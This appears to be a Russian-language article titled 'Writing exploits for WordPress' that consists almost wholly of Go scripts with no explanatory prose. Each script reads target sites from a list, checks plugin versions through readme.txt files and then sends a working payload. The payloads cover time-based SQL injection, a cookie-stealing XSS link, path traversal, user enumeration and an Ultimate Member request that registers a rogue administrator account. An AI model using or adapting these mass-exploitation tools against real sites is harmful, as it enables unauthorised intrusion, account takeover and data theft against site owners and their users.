Статья Написание эксплоитов под WordPress

package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "time"
)

const pathSuffix = "/wp-content/plugins/easy-digital-downloads/readme.txt"
const payloadPath = "/wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(4)))a)--+-"

func checkVulnerability(url string) {
    targetURL := fmt.Sprintf("%s%s", url, payloadPath)
    start := time.Now()
    resp, err := http.Get(targetURL)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", targetURL, err)
        return
    }
    defer resp.Body.Close()
    duration := time.Since(start).Seconds()
    if duration >= 4 {
        fmt.Printf("Potential vulnerability detected at %s\n", url)
    } else {
        fmt.Printf("No vulnerability detected at %s\n", url)
    }
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    re := regexp.MustCompile(`Stable Tag:\s*(3\.1\.0\.2|3\.1\.0\.3)`)
    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fullUrl := fmt.Sprintf("%s%s", url, pathSuffix)
        fmt.Println("Checking link:", url)

        resp, err := http.Get(fullUrl)
        if err != nil {
            fmt.Printf("Error while sending request to %s: %v\n", url, err)
            continue
        }
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error while reading response body from %s: %v\n", url, err)
            continue
        }
        resp.Body.Close()

        if re.Match(body) {
            fmt.Printf("Match found in %s\n", url)
            checkVulnerability(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
)

func makeRequest(url string, cookie string) (string, error) {
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        return "", err
    }

    if cookie != "" {
        req.Header.Set("Cookie", cookie)
    }

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}

func main() {
    // Заменить на URL для проверки
    url := "URL/wp-admin/"

    fmt.Println("Запрос без куки:")
    response, err := makeRequest(url, "")
    if err != nil {
        fmt.Println("Ошибка при запросе:", err)
        return
    }
    fmt.Println(response)
// Заменить на куку
    const wpCookie = ""
//    const wpCookie = "wordpress_fffffffff=admin%CFR4422%fsfsfsfsf%fFFFF" ---> название знак = значение

    // Сделаем запрос с кукой
    fmt.Println("\nЗапрос с кукой:")
    responseWithCookie, err := makeRequest(url, wpCookie)
    if err != nil {
        fmt.Println("Ошибка при запросе с кукой:", err)
        return
    }
    fmt.Println(responseWithCookie)
}

package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
    "time"
)

const pluginVersionURL = "/wp-content/plugins/formidablepro-2-pdf/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e  = 3
const minor_e = 11
const wpCookie = "change_me"

const payload = "action=fpropdf_export_file&fieldmap=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)"

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 2 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])

        if err1 != nil || err2 != nil  {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e ) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, strings.NewReader(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    req.Header.Set("Cookie", wpCookie)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    start := time.Now()

    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    duration := time.Since(start)
    if duration.Seconds() > 5 {
        fmt.Printf("Potential time-based SQL injection detected at %s (response took %v seconds)\n", url, duration.Seconds())
    } else {
        fmt.Printf("No time-based SQL injection detected at %s\n", url)
    }
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, sending PoC...\n", url)
            testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"

    "golang.org/x/net/html"
)

const nonceURL = "/register"

func getNonce(url string) string {
    fullUrl := fmt.Sprintf("%s%s", url, nonceURL)

    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Println("Error fetching URL:", err)
        return ""
    }
    defer resp.Body.Close()

    doc, err := html.Parse(resp.Body)
    if err != nil {
        fmt.Println("Error parsing HTML:", err)
        return ""
    }

    var nonce string
    var f func(*html.Node)
    f = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "input" {
            for _, attr := range n.Attr {
                if attr.Key == "id" && attr.Val == "_wpnonce" {
                    for _, attr := range n.Attr {
                        if attr.Key == "value" {
                            nonce = attr.Val
                            return
                        }
                    }
                }
            }
        }
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            f(c)
        }
    }
    f(doc)

    return nonce
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        nonce := getNonce(url)
        if nonce != "" {
            fmt.Println("Found nonce:", nonce)
        } else {
            fmt.Println("Nonce not found")
        }
    }
}

package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/wordpress-seo/readme.txt"
const vulURL = `?page="%20onmouseover="alert(document.cookie)`
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e = 22
const minor_e = 5

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 2 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])

        if err1 != nil || err2 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}


func testPoC(url string) string {
    URL := fmt.Sprintf("%s%s", url, vulURL)

    return URL
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, crafting Link...\n", url)
            resURL := testPoC(url)
            fmt.Print(resURL)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/web-directory-free/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`
const payload = "from_set_ajax=1&action=w2dc_controller_request&template=../../test.txt"

const major_e = 1
const minor_e = 7
const path_e = 2

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        fmt.Println("Error when creating a query:", err)
        return
    }

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while executing the query:", err)
        return
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error in reading the response:", err)
        return
    }

    bodyStr := string(body)
    if strings.Contains(bodyStr, "This is a test file to check the LFI") {
        fmt.Println("Vulnerability found! The link is vulnerable.")
        fmt.Print(url)
    } else {
        fmt.Println("The server response does not contain an acknowledgement of the vulnerability.")
    }
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/product-configurator-for-woocommerce/readme.txt"
const vulURL = "/wp-admin/admin-ajax.php"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`
const payload = "action=mkl_pc_generate_config_image&data=../../test.txt"

const major_e = 1
const minor_e = 2
const path_e = 31

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    req, err := http.NewRequest("POST", requestURL, bytes.NewBuffer([]byte(payload)))
    if err != nil {
        fmt.Println("Error when creating a query:", err)
        return
    }

    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while executing the query:", err)
        return
    }
    defer resp.Body.Close()
}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "bufio"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"
)

const pluginVersionURL = "/wp-content/plugins/directorist/readme.txt"
const vulURL = "/wp-json/directorist/v1/users"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const major_e = 8
const minor_e = 0
const path_e = 12

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func testPoC(url string) {
    requestURL := fmt.Sprintf("%s%s", url, vulURL)

    resp, err := http.Get(requestURL)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", requestURL, err)
        return
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        fmt.Println("The site is vulnerable - ", url)
    }


}


func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
             testPoC(url)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}

package main

import (
    "bufio"
    "bytes"
    "fmt"
    "io"
    "net/http"
    "os"
    "regexp"
    "strconv"
    "strings"

    "golang.org/x/net/html"
)

const pluginVersionURL = "/wp-content/plugins/ultimate-member/readme.txt"
const stableTagPattern = `(?m)^Stable tag:\s*(\S+)`

const nonceURL = "/register"

const major_e = 2
const minor_e = 6
const path_e = 6

func checkPluginVersion(url string) bool {
    fullUrl := fmt.Sprintf("%s%s", url, pluginVersionURL)
    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Printf("Error while sending request to %s: %v\n", fullUrl, err)
        return false
    }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Printf("Error while reading response body from %s: %v\n", fullUrl, err)
        return false
    }

    bodyStr := string(body)
    re := regexp.MustCompile(stableTagPattern)
    matches := re.FindStringSubmatch(bodyStr)
    if len(matches) > 1 {
        version := matches[1]
        fmt.Printf("Found version: %s\n", version)

        parts := strings.Split(version, ".")
        if len(parts) < 3 {
            fmt.Println("Invalid version format")
            return false
        }

        major, err1 := strconv.Atoi(parts[0])
        minor, err2 := strconv.Atoi(parts[1])
        path, err3 := strconv.Atoi(parts[2])

        if err1 != nil || err2 != nil || err3 != nil {
            fmt.Println("Error parsing version numbers")
            return false
        }

        if major < major_e || (major == major_e && minor < minor_e) || (major == major_e && minor == minor_e && path <= path_e) {
            fmt.Println("Version is valid")
            return true
        }

        return false
    }

    fmt.Println("No version found")
    return false
}

func getNonce(url string) string {
    fullUrl := fmt.Sprintf("%s%s", url, nonceURL)

    resp, err := http.Get(fullUrl)
    if err != nil {
        fmt.Println("Error fetching URL:", err)
        return ""
    }
    defer resp.Body.Close()

    doc, err := html.Parse(resp.Body)
    if err != nil {
        fmt.Println("Error parsing HTML:", err)
        return ""
    }

    var nonce string
    var f func(*html.Node)
    f = func(n *html.Node) {
        if n.Type == html.ElementNode && n.Data == "input" {
            for _, attr := range n.Attr {
                if attr.Key == "id" && attr.Val == "_wpnonce" {
                    for _, attr := range n.Attr {
                        if attr.Key == "value" {
                            nonce = attr.Val
                            return
                        }
                    }
                }
            }
        }
        for c := n.FirstChild; c != nil; c = c.NextSibling {
            f(c)
        }
    }
    f(doc)

    return nonce
}

func testPoC(url, nonce string) {
    postUrl := fmt.Sprintf("%s/register/", url)
    data := fmt.Sprintf("user_login-29=p1wnmemayb2e&user_password-29=P%%40ssw0rd%%21&confirm_user_password-29=P%%40ssw0rd%%21&first_name-29=Kapu1t&wp_capabilities-29[administrator]=1&form_id=143&um_request=&_wpnonce=%s&_wp_http_referer=%%2Fregister%%2F", nonce)

    req, err := http.NewRequest("POST", postUrl, bytes.NewBuffer([]byte(data)))
    if err != nil {
        fmt.Println("Error creating PoC request:", err)
        return
    }

    req.Header.Set("Host", strings.TrimPrefix(url, "http://"))
    req.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0")
    req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
    req.Header.Set("Accept-Language", "en-CA,en-US;q=0.7,en;q=0.3")
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Origin", url)
    req.Header.Set("Referer", fmt.Sprintf("%s/register/", url))
    req.Header.Set("Cookie", "wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=1b8518cf0ecbf8627f460b2b088024d9; wp_lang=en_US")
    req.Header.Set("Upgrade-Insecure-Requests", "1")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending PoC request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("PoC response status:", resp.Status)
}

func main() {
    file, err := os.Open("links.txt")
    if err != nil {
        fmt.Println("Error while opening file links.txt:", err)
        return
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    for scanner.Scan() {
        url := scanner.Text()
        fmt.Println("Checking link:", url)

        if checkPluginVersion(url) {
            fmt.Printf("Match found in %s, testing PoC...\n", url)
            nonce := getNonce(url)
            testPoC(url, nonce)
        } else {
            fmt.Printf("No match in %s\n", url)
        }
    }
}